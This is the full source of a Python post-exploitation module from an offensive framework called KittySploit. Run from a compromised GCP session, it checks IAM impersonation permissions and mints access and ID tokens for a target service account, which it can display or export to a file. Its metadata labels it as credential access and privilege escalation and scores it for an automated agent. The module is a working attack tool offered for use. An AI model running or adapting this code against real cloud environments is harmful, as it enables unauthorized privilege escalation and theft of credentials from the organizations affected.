GCP Impersonate Service Account
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
from kittysploit import *
from lib.post.gcp import GcpPostMixin
class Module(Post, GcpPostMixin):
__info__ = {
"name": "GCP Impersonate Service Account",
"description": "Validate and obtain short-lived credentials by impersonating a service account",
"author": "KittySploit Team",
"session_type": SessionType.GCP_API,
"tags": ["gcp", "cloud", "iam", "credentials", "impersonation", "privilege-escalation"],
'agent': {
'risk': 'intrusive',
'effects': ['credential_access', 'api_request'],
'expected_requests': 3,
'reversible': True,
'approval_required': True,
'produces': ['credentials', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
service_account_email = OptString("", "Target service account email to impersonate", True)
scopes = OptString(
"https://www.googleapis.com/auth/cloud-platform",
"Comma-separated OAuth scopes for the access token",
False,
)
lifetime = OptString("3600s", "Access token lifetime", False)
generate_id_token = OptBool(False, "Also generate an OpenID Connect ID token", False)
id_token_audience = OptString("", "Audience for the ID token; defaults to cloud-platform scope URL", False)
check_permissions = OptBool(True, "Test impersonation-related IAM permissions before token minting", False)
mask_token = OptBool(True, "Mask tokens in console output", False)
export_json = OptString("", "Optional output JSON file", False)
IMPERSONATION_PERMISSIONS = [
"iam.serviceAccounts.actAs",
"iam.serviceAccounts.getAccessToken",
"iam.serviceAccounts.getOpenIdToken",
"iam.serviceAccounts.implicitDelegation"]
def run(self):
try:
project_id = self._gcp_project_id()
principal = self._gcp_client_email()
target = str(self.service_account_email or "").strip()
if not project_id:
print_error("Could not resolve project_id from session")
return False
if not target:
print_error("service_account_email is required")
return False
print_info(f"Impersonating {target} from {principal or 'unknown principal'}...")
granted = []
if self.check_permissions:
granted = self._gcp_test_permissions(self.IMPERSONATION_PERMISSIONS, project_id)
if granted:
print_success(f"Granted impersonation permissions: {', '.join(granted)}")
else:
print_warning("No impersonation permissions confirmed via testIamPermissions")
scope_list = [item.strip() for item in str(self.scopes or "").split(",") if item.strip()]
access_result = self._gcp_generate_access_token(
target,
scopes=scope_list,
lifetime=str(self.lifetime or "3600s"),
)
if not access_result.get("success"):
print_error(f"Impersonation failed: {access_result.get('error', '')}")
return False
access_token = str(access_result.get("accessToken") or "")
print_success("Service account impersonation succeeded")
print_info(f"Target: {target}")
print_info(f"Expires: {access_result.get('expireTime') or 'unknown'}")
if access_token:
displayed = self._gcp_mask_token(access_token) if self.mask_token else access_token
print_info(f"Access token: {displayed}")
id_token_result = None
if self.generate_id_token:
audience = str(self.id_token_audience or "").strip() or (
scope_list[0] if scope_list else "https://www.googleapis.com/auth/cloud-platform"
)
print_info(f"Generating ID token with audience {audience}...")
id_token_result = self._gcp_generate_id_token(target, audience=audience)
if id_token_result.get("success"):
token = str(id_token_result.get("token") or "")
displayed = self._gcp_mask_token(token) if self.mask_token else token
print_success("ID token generated")
print_info(f"ID token: {displayed}")
else:
print_warning(f"ID token generation failed: {id_token_result.get('error', '')}")
output = {
"project_id": project_id,
"principal": principal,
"target": target,
"granted_permissions": granted,
"accessToken": access_token,
"expireTime": access_result.get("expireTime"),
"scopes": scope_list,
}
if id_token_result:
output["idToken"] = id_token_result.get("token") if id_token_result.get("success") else None
output["idTokenError"] = id_token_result.get("error")
if self.export_json:
exported = self._gcp_export_json(str(self.export_json or ""), output)
if exported:
print_success(f"Results exported to {exported}")
return self.module_result(success=True, data=output)
except Exception as exc:
print_error(f"Service account impersonation failed: {exc}")
return False
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